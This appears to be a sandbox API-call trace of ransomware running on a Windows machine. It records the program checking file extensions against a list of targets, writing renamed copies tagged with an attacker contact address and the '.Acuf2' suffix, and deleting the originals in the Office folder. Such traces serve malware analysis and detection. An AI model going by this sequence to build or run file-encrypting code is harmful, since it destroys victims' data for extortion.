	[0269.433] lstrlenW (lpString=".7z") returned 3
	[0269.433] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0269.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63
	[0269.433] lstrlenW (lpString=".dbf") returned 4
	[0269.433] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0269.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63
	[0269.433] lstrlenW (lpString=".1cd") returned 4
	[0269.433] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0269.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63
	[0269.433] lstrlenW (lpString=".jpg") returned 4
	[0269.433] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0269.434] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.434] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.434] GetLastError () returned 0x0
	[0269.434] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x28b, lpOverlapped=0x0) returned 1
	[0269.436] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x290, lpOverlapped=0x0) returned 1
	[0269.436] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.437] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0269.437] SetEndOfFile (hFile=0x36c) returned 1
	[0269.437] CloseHandle (hObject=0x36c) returned 1
	[0269.437] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.437] SetEndOfFile (hFile=0x218) returned 1
	[0269.439] CloseHandle (hObject=0x218) returned 1
	[0269.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 1
	[0269.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67
	[0269.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67
	[0269.439] lstrlenW (lpString=".doc") returned 4
	[0269.439] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0269.439] lstrlenW (lpString=".docx") returned 5
	[0269.439] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0269.439] lstrlenW (lpString=".pdf") returned 4
	[0269.439] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0269.439] lstrlenW (lpString=".xls") returned 4
	[0269.439] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0269.439] lstrlenW (lpString=".xlsx") returned 5
	[0269.439] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0269.439] lstrlenW (lpString=".ppt") returned 4
	[0269.439] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0269.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67
	[0269.439] lstrlenW (lpString=".zip") returned 4
	[0269.440] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0269.440] lstrlenW (lpString=".rar") returned 4
	[0269.440] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0269.440] lstrlenW (lpString=".bz2") returned 4
	[0269.440] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0269.440] lstrlenW (lpString=".7z") returned 3
	[0269.440] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0269.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67
	[0269.440] lstrlenW (lpString=".dbf") returned 4
	[0269.440] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0269.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67
	[0269.440] lstrlenW (lpString=".1cd") returned 4
	[0269.440] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0269.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67
	[0269.440] lstrlenW (lpString=".jpg") returned 4
	[0269.440] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0269.440] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=211) returned 1
	[0269.440] CloseHandle (hObject=0x218) returned 1
	[0269.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 0x20
	[0269.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.441] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.441] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.441] GetLastError () returned 0x0
	[0269.441] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xd3, lpOverlapped=0x0) returned 1
	[0269.442] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0269.443] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.443] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0269.443] SetEndOfFile (hFile=0x36c) returned 1
	[0269.443] CloseHandle (hObject=0x36c) returned 1
	[0269.443] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.443] SetEndOfFile (hFile=0x218) returned 1
	[0269.445] CloseHandle (hObject=0x218) returned 1
	[0269.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 1
	[0269.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67
	[0269.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67
	[0269.446] lstrlenW (lpString=".doc") returned 4
	[0269.446] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0269.446] lstrlenW (lpString=".docx") returned 5
	[0269.446] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0269.446] lstrlenW (lpString=".pdf") returned 4
	[0269.446] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0269.446] lstrlenW (lpString=".xls") returned 4
	[0269.446] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0269.446] lstrlenW (lpString=".xlsx") returned 5
	[0269.446] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0269.446] lstrlenW (lpString=".ppt") returned 4
	[0269.446] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0269.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67
	[0269.446] lstrlenW (lpString=".zip") returned 4
	[0269.446] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0269.446] lstrlenW (lpString=".rar") returned 4
	[0269.446] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0269.446] lstrlenW (lpString=".bz2") returned 4
	[0269.446] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0269.446] lstrlenW (lpString=".7z") returned 3
	[0269.446] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0269.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67
	[0269.447] lstrlenW (lpString=".dbf") returned 4
	[0269.447] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0269.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67
	[0269.447] lstrlenW (lpString=".1cd") returned 4
	[0269.447] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0269.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67
	[0269.447] lstrlenW (lpString=".jpg") returned 4
	[0269.447] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0269.447] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=114) returned 1
	[0269.447] CloseHandle (hObject=0x218) returned 1
	[0269.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 0x20
	[0269.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.447] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.448] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.448] GetLastError () returned 0x0
	[0269.448] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x72, lpOverlapped=0x0) returned 1
	[0269.449] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0269.449] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.449] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0269.450] SetEndOfFile (hFile=0x36c) returned 1
	[0269.450] CloseHandle (hObject=0x36c) returned 1
	[0269.450] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.450] SetEndOfFile (hFile=0x218) returned 1
	[0269.452] CloseHandle (hObject=0x218) returned 1
	[0269.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 1
	[0269.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69
	[0269.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69
	[0269.452] lstrlenW (lpString=".doc") returned 4
	[0269.452] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0269.452] lstrlenW (lpString=".docx") returned 5
	[0269.452] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0269.452] lstrlenW (lpString=".pdf") returned 4
	[0269.453] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0269.453] lstrlenW (lpString=".xls") returned 4
	[0269.453] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0269.453] lstrlenW (lpString=".xlsx") returned 5
	[0269.453] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0269.453] lstrlenW (lpString=".ppt") returned 4
	[0269.453] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0269.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69
	[0269.453] lstrlenW (lpString=".zip") returned 4
	[0269.453] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0269.453] lstrlenW (lpString=".rar") returned 4
	[0269.453] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0269.453] lstrlenW (lpString=".bz2") returned 4
	[0269.453] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0269.453] lstrlenW (lpString=".7z") returned 3
	[0269.453] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0269.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69
	[0269.453] lstrlenW (lpString=".dbf") returned 4
	[0269.453] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0269.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69
	[0269.453] lstrlenW (lpString=".1cd") returned 4
	[0269.453] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0269.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69
	[0269.453] lstrlenW (lpString=".jpg") returned 4
	[0269.453] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0269.454] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=113) returned 1
	[0269.454] CloseHandle (hObject=0x218) returned 1
	[0269.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 0x20
	[0269.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.454] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.454] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.454] GetLastError () returned 0x0
	[0269.454] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x71, lpOverlapped=0x0) returned 1
	[0269.455] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0269.456] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.456] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0269.456] SetEndOfFile (hFile=0x36c) returned 1
	[0269.456] CloseHandle (hObject=0x36c) returned 1
	[0269.456] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.456] SetEndOfFile (hFile=0x218) returned 1
	[0269.466] CloseHandle (hObject=0x218) returned 1
	[0269.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 1
	[0269.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69
	[0269.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69
	[0269.466] lstrlenW (lpString=".doc") returned 4
	[0269.466] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0269.466] lstrlenW (lpString=".docx") returned 5
	[0269.466] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0269.466] lstrlenW (lpString=".pdf") returned 4
	[0269.466] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0269.467] lstrlenW (lpString=".xls") returned 4
	[0269.467] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0269.467] lstrlenW (lpString=".xlsx") returned 5
	[0269.467] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0269.467] lstrlenW (lpString=".ppt") returned 4
	[0269.467] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0269.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69
	[0269.467] lstrlenW (lpString=".zip") returned 4
	[0269.467] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0269.467] lstrlenW (lpString=".rar") returned 4
	[0269.467] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0269.467] lstrlenW (lpString=".bz2") returned 4
	[0269.467] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0269.467] lstrlenW (lpString=".7z") returned 3
	[0269.467] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0269.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69
	[0269.467] lstrlenW (lpString=".dbf") returned 4
	[0269.467] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0269.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69
	[0269.467] lstrlenW (lpString=".1cd") returned 4
	[0269.467] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0269.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69
	[0269.467] lstrlenW (lpString=".jpg") returned 4
	[0269.467] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0269.468] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=5240293) returned 1
	[0269.468] CloseHandle (hObject=0x218) returned 1
	[0269.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs")) returned 0x20
	[0269.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0269.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59
	[0269.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59
	[0269.468] lstrlenW (lpString=".doc") returned 4
	[0269.468] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0269.468] lstrlenW (lpString=".docx") returned 5
	[0269.468] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1
	[0269.468] lstrlenW (lpString=".pdf") returned 4
	[0269.468] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0269.468] lstrlenW (lpString=".xls") returned 4
	[0269.468] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0269.468] lstrlenW (lpString=".xlsx") returned 5
	[0269.468] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1
	[0269.468] lstrlenW (lpString=".ppt") returned 4
	[0269.468] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0269.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59
	[0269.469] lstrlenW (lpString=".zip") returned 4
	[0269.469] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0269.469] lstrlenW (lpString=".rar") returned 4
	[0269.469] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0269.469] lstrlenW (lpString=".bz2") returned 4
	[0269.469] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0269.469] lstrlenW (lpString=".7z") returned 3
	[0269.469] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0269.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59
	[0269.469] lstrlenW (lpString=".dbf") returned 4
